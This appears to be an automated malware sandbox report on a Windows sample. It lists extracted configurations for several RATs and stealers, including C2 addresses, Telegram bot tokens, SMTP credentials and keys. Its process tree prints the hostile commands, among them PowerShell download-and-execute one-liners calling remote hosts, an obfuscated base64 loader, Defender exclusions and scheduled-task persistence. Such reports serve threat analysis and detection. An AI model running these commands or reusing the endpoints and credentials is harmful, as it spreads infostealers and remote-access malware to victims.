Resubmissions
27/11/2025, 19:28
251127-x661fscn3s1025/11/2025, 23:52
251125-3w5yaszmhx1025/11/2025, 23:40
251125-3pcceatnfl1003/10/2025, 23:40
251003-3nxxqagj711003/10/2025, 23:17
251003-295n1swtcs10Analysis
- max time kernel
3s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20250610-en - resource tags
- submitted
03/10/2025, 23:17
General
- Target 2to1ep.exe
- Size 13.1MB
- Sample251003-295n1swtcs
- SHA256 65ba3988d38f83b9ee1f31cafa5bd37dc6b72279f5618aac94d71a904efa0cac
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
https://files.catbox.moe/idtatx.txt
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://192.236.146.9:59394/14
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
https://files.catbox.moe/jkjsmx.txt
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
https://archive.org/download/optimized_msi_20250904/optimized_MSI.png
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
https://pastebin.com/raw/jgKWLc0S
-
exe.dropper
https://pastebin.com/raw/jgKWLc0S
Extracted
Family
-
xworm
Version
-
XWorm V6.4
C2
-
193.233.113.101:6000
Mutex
-
wtTjJFyuVgz7AApw
Attributes
-
Install_directory
%AppData%
-
install_file
Update.exe
-
telegram
https://api.telegram.org/bot8009787624:AAEz_CNKVasGdV6iZMKRYGG1673GnRbmQ7E/sendMessage?chat_id=5189826015
aes.plain
Extracted
Family
-
koiloader
C2
-
http://37.49.226.113/waveform.php
Attributes
-
payload_url
https://wellbeingdr.com/wp-content/uploads/2024/05
Extracted
Family
-
stealc
Botnet
-
tr1pernn
C2
-
http://178.16.54.175
Attributes
-
url_path
/e9762ff07e084dbb.php
rc4.plain
Extracted
Family
-
quasar
Version
-
1.3.0.0
Botnet
-
Office04
C2
-
5.133.102.252:4782
Mutex
-
QSR_MUTEX_3efKNFgP7F8cXueIFE
Attributes
-
encryption_key
xgr4y6DjpFjOydRopFRO
-
install_name
Client.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Quasar Client Startup
-
subdirectory
SubDir
Extracted
Family
-
quasar
Version
-
1.7.1
Botnet
-
OniCHAN~
C2
-
resources-formerly.gl.at.ply.gg:43317
Mutex
-
25775f93-53d1-4489-9825-3f972c7e35e9
Attributes
-
encryption_key
D2973F3069489602440049C54C37809627555190
-
install_name
Client.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Quasar Modded Client Startup
-
subdirectory
SubDir
Extracted
Family
-
asyncrat
Version
-
Venom RAT + HVNC + Stealer + Grabber v6.0.3
Botnet
-
Default
C2
-
176.65.132.147:8585
Mutex
-
dsefmbtsyofbjjyvtj
Attributes
-
delay
1
-
install
false
-
install_folder
%AppData%
aes.plain
Extracted
Family
-
aurotun
Campaign
-
megago
C2
-
87.120.93.155:7712
Attributes
-
anti_dbg
false
-
anti_sandbox
false
-
aurotun
true
-
disable_mutex
false
-
kx_pk
PcJKw1rqU2mX8Avd2fRf9Gw6h1p1qTbhtgCrQDAKfUc=
-
priviledge_escalation
true
-
seal_pk
Rg5OYhSl1aJmVv+mUx2EVkbe0a+RAVHA1yNWbjmxCAQ=
-
sign_pk
jRXs9wqi/7rzQ/hb9/WsnJQmwxmVKyWj26aTMqrjQgc=
Extracted
Family
-
vipkeylogger
Credentials
-
Protocol
smtp
-
Host
hosting2.ro.hostsailor.com
-
Port
587
-
Username
-
Password
7213575aceACE@@#
-
Email to
C2
-
https://api.telegram.org/bot8099843793:AAGeYKMLti1IpyT9o6bz7OtgdXF9md25uXA/sendMessage?chat_id=6337180137
Signatures
- Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
- Amadey family
- AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Asyncrat family
- Aurotun
Aurotun is a stealer written in C++.
- Aurotun family
- Detect SalatStealer payload 4 IoCs
- Detect Xworm Payload 2 IoCs
- Detects Amadey x86-bit Payload 1 IoCs
- Detects Aurotun stealer 1 IoCs
- Detects DonutLoader 2 IoCs
- Detects Rhadamanthys Payload 1 IoCs
- DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Donutloader family
- KoiLoader
KoiLoader is a malware loader written in C++.
- Koiloader family
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar family
- Quasar payload 2 IoCs
- Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
- Rhadamanthys family
- Salatstealer family
- Stealc
Stealc is an infostealer written in C++.
- Stealc family
- VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- VenomRAT 1 IoCs
Detects VenomRAT.
- Venomrat family
- Vipkeylogger family
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Detects KoiLoader payload 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 36 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file 54 IoCs
- Executes dropped EXE 5 IoCs
- Loads dropped DLL 21 IoCs
- Themida packer 1 IoCs
Detects Themida, an advanced Windows software protection system.
- Unexpected DNS network traffic destination 1 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 64 IoCs
- Looks up external IP address via web service 14 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- ConfuserEx .NET packer 2 IoCs
Detects ConfuserEx .NET packer.
- Drops file in System32 directory 1 IoCs
- UPX packed file 8 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Detects Pyinstaller 1 IoCs
- Event Triggered Execution: Installer Packages 2 TTPs 4 IoCs
- Program crash 10 IoCs
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 1 IoCs
- Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Kills process with taskkill 16 IoCs
- Runs ping.exe 1 TTPs 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 15 IoCs
- Suspicious use of SendNotifyMessage 15 IoCs
- Suspicious use of WriteProcessMemory 28 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"2⤵
- Downloads MZ/PE file
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C start c:\Windows\System32\Taskmgr.exe3⤵
- Suspicious use of WriteProcessMemory
-
\??\c:\Windows\System32\Taskmgr.exec:\Windows\System32\Taskmgr.exe4⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Tokenvator1.exeTokenvator1.exe3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\NanoDumpInject.exeNanoDumpInject.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe r2.hta3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe r.hta3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\output.exeoutput.exe3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\Updatexs.exeUpdatexs.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe IOK___P0093003E030300302020039093400P0O0O3090943940394039049434.hta3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File tW08ytT.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c (New-Object Net.WebClient).DownloadString('http://192.236.146.9:59394/14') | IEX4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\clp1.execlp1.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\a\022b63ba1671438baf93c3478a38c1f3_crypted_build.exe022b63ba1671438baf93c3478a38c1f3_crypted_build.exe3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe IMG__pic0399940000003949400030303030204004000440040030000.hta3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe IMS__Pic0949000030040040300404040r0400404040040.hta3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File FOREEEE.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"4⤵
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c system.bat3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePoWerShELl -w h "$AtFgwqxm='QvLiaIiy';$GaePzudQ='https://files.catbox.moe/jkjsmx.txt';iex(irm $GaePzudQ);$lUdmrXfI='AFenoLCg'"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c IRS_Audit_Requirements.bat3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWeRShELL -W h "$rsCIyQVOcpVCDDX='huUKYgVEzAhUtJl';$ToiEDyRLcqXBZeK='https://files.catbox.moe/idtatx.txt';iex(irm $ToiEDyRLcqXBZeK);$aElHeEwHQkVoCIR='wcFrVhTyzYPjrTB'"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exesvchost.exe3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe IM__Pic009405960060400403000505003030404030300400000040.hta3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\system.exesystem.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7z7C2A90E4\IRS_Audit_Guide.bat" "4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePoWerShELl -w h "$AtFgwqxm='QvLiaIiy';$GaePzudQ='https://files.catbox.moe/jkjsmx.txt';iex(irm $GaePzudQ);$lUdmrXfI='AFenoLCg'"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe img__0909090908997878877676767676767000090000000.hta3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe IMN__IE__09340040400400t0t040040040404040.hta3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\%D0%9C%D1%83%D1%85%D0%B8.exe%D0%9C%D1%83%D1%85%D0%B8.exe3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe IMG__pict09000004000039400405049405000595050.hta3⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe System.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sofigo ='IAAgACAAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAd@gBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAd@gBvAHQAbwBjAG8AbABUAHkAd@ABlAF0AOgA6AFQAbABzADEAMgAKACAAIAAgACAAIAAgACAAIABmAHUAbgBjAHQAaQBvAG4AIABEAG8AdwBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAd@wAgAHsAIABwAGEAd@gBhAG0AIAAoAFsAd@wB0AHIAaQBuAGd@AWwBdAF0AJABsAGkAbgBrAHMAKQAgAAoAIAAgACAAIAAgACAAIAAgACQAdwBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHd@ALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACAACgAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEd@AZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAd@wAuAEwAZQBuAGd@AdABoADsAIAAKACAAIAAgACAAIAAgACAAIABmAG8Ad@gBlAGEAYwBoACAAKAAkAGwAaQBuAGsAIABpAG4AIAAkAHMAaAB1AGYAZgBsAGUAZABMAGkAbgBrAHMAKQAgAHsAIAB0AHIAeQAgAHsAIAByAGUAdAB1AHIAbgAgACQAdwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAbABpAG4AawApACAAfQAgAGMAYQB0AGMAaAAgAHsAIABjAG8AbgB0AGkAbgB1AGUAIAB9ACAAfQA7ACAACgAgACAAIAAgACAAIAAgACAAd@gBlAHQAdQByAG4AIAAkAG4AdQBsAGwAIAB9ADsAIAAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAd@wAgAD0AIAAnAGgAdAB0ACd@AOwAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAd@wAyACAAPQAgACd@Ad@ABzADoALwAvACd@AOwAKACAAIAAgACAAIAAgACAAIAAkAGwAZgBzAGQAZgBzAGQAZwAgAD0AIAAgACQAQgB5AHQAZQBzACAAKwAkAEIAeQB0AGUAd@wAyADsACgAgACAAIAAgACAAIAAgACAAJABsAGkAbgBrAHMAIAA9ACAAQAAoACgAJABsAGYAd@wBkAGYAd@wBkAGd@AIAArACAAJwBpAGgAbQBtAGsAdgBrAGEAaQB3AG4AaQBsAG4AZQBhAHUAaABmAG4ALgBzAHUAd@ABhAGIAYQBzAGUALgBjAG8ALwBzAHQAbwByAGEAZwBlAC8AdgAxAC8AbwBiAGoAZQBjAHQALwBwAHUAYgBsAGkAYwAvAGgAbwBsAGQALwBpAG0AYQBnAGUALgBqAHAAZwA/ADEAMgA3ADEAMQAzADQAMwAnACkALAAgACgAJABsAGYAd@wBkAGYAd@wBkAGd@AIAArACAAJwB0AGoAdABoAGoAZAAuAGkAYwB1AC8AaQBtAGd@ALwBpAG0AYQBnAGUALgBqAHAAZwA/ADEAMgA3ADEAMQAzADQAMwAnACkAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAd@gBvAG0ATABpAG4AawBzACAAJABsAGkAbgBrAHMAOwAKACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIAAkAGkAbQBhAGd@AZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAd@gBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAd@wApADsACgAgACAAIAAgACAAIAAgACAAIAAkAHMAdABhAHIAdABGAGwAYQBnACAAPQAgACd@APAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAIAAkAGUAbgBkAEYAbABhAGd@AIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAIAAKACAAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGd@AZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsACgAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAd@wB0AGEAd@gB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACkAIAB7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGd@AdABoADsAIAAKACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGd@AdABoAGgAIAA9ACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsACgAgACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGd@AdABoAGgAKQA7AAoAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGd@AZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsACgAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAd@gB0AF0AOgA6AEYAd@gBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGd@AKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGd@AZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsACgAgACAAIAAgACAAIAAgACAAJABsAG8AYQBkAGUAZABBAHMAd@wBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAd@wB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAd@wBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7AAoAIAAgACAAIAAgACAAIAAgADEALgAuADIAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgAFMAdABhAHIAdAAtAFMAbABlAGUAd@AAgADEAIAB9ACAAPgAgACQAbgB1AGwAbAAKACAAIAAgACAAIAAgACAAIAAkAHQAeQBwAGUAIAA9ACAAJABsAG8AYQBkAGUAZABBAHMAd@wBlAG0AYgBsAHkALgBHAGUAdABUAHkAd@ABlACgAJwB0AGUAd@wB0AHAAbwB3AGUAd@gBzAGgAZQBsAGwALgBIAG8AYQBhAGEAYQBhAGEAd@wBkAG0AZQAnACkAOwAKACAAIAAgACAAIAAgACAAMQAuAC4AMgAgAHwAIABGAG8Ad@gBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAUwB0AGEAd@gB0AC0AUwBsAGUAZQBwACAAMQAgAH0AIAA+ACAAJABuAHUAbABsAAoAIAAgACAAIAAgACAAIAAgACQAaQBuAGoAZQBjACAAPQAgACd@ATQBzAEIAdQBpAGwAZAAnADsACgAgACAAIAAgACAAIAAgACAAJABtAGUAdABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAdABNAGUAdABoAG8AZAAoACd@AbABmAHMAZwBlAGQAZABkAGQAZABkAGQAYQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuAGQAZQBkAG8AYwBuAGUAXwB1AFIAZAA5AFEANQBzADIAbABoAFEAbwBtAFkAd@ABvAC8AOAAwADEALgA0ADYALgAxADEALgAyADEAMgAvAC8AOgAnACwAIAAnADIAJwAsACAAJwBTAHkAd@wB0AGUAbQAnACwAIAAkAGkAbgBqAGUAYwAsACAAJwAwACd@AIAAsACAAJwB4ADgANgAnACkAKQB9AH0AOwAKAA==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($sofigo.replace('d@','c') ));iex $OWjuxD4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if ((Get-Location).Path -ne 'C:\ProgramData') { (Get-ChildItem *.vbs | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination 'C:\ProgramData\System.vbs' -Force }5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe"5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill" /PID 6360 /F5⤵
- Kills process with taskkill
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe"5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill" /PID 5828 /F5⤵
- Kills process with taskkill
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9616 -s 10526⤵
- Program crash
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
C:\Users\Admin\AppData\Local\98251e4c-2a7d-48b8-8de6-991503219c78\background.exe"C:\Users\Admin\AppData\Local\98251e4c-2a7d-48b8-8de6-991503219c78\background.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Monotone.exeMonotone.exe3⤵
-
C:\Users\Admin\AppData\Local\c323888f-6d0c-480f-8200-ceeddc2ac156\background.exe"C:\Users\Admin\AppData\Local\c323888f-6d0c-480f-8200-ceeddc2ac156\background.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
C:\Users\Admin\AppData\Local\b3fa89ad-89d9-42f9-8c00-5686475f5623\background.exe"C:\Users\Admin\AppData\Local\b3fa89ad-89d9-42f9-8c00-5686475f5623\background.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\CFXBypass.exeCFXBypass.exe3⤵
-
C:\Users\Admin\AppData\Local\aabddf84-1847-48b6-9bc7-e3dc7f7fcad6\background.exe"C:\Users\Admin\AppData\Local\aabddf84-1847-48b6-9bc7-e3dc7f7fcad6\background.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\aML1NnH.exeaML1NnH.exe3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe IMG__pic0099400000300200005050050500500505050050052333.hta3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\ZRRf0IsE1Epm2M0.exeZRRf0IsE1Epm2M0.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i iconsrer.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe IMG___090000e09884877474838839993948848484949.hta3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\21dd7038a1a34c159308849c1dea9071_crypted_build.exe21dd7038a1a34c159308849c1dea9071_crypted_build.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\WFF.exeWFF.exe3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\iHhllRy.exe"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\iHhllRy" /XML "C:\Users\Admin\AppData\Local\Temp\tmp1EC9.tmp"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\vncce.exevncce.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\pcfxfBJLlyuaL81.exepcfxfBJLlyuaL81.exe3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\a\pcfxfBJLlyuaL81.exe"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\pcfxfBJLlyuaL81.exe"C:\Users\Admin\AppData\Local\Temp\a\pcfxfBJLlyuaL81.exe"4⤵
-
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe IMG___pict004995005000003599505005005040405000600.hta3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\QoxOWld.exeQoxOWld.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\3nxW7k1nAOzhQuf.exe3nxW7k1nAOzhQuf.exe3⤵
-
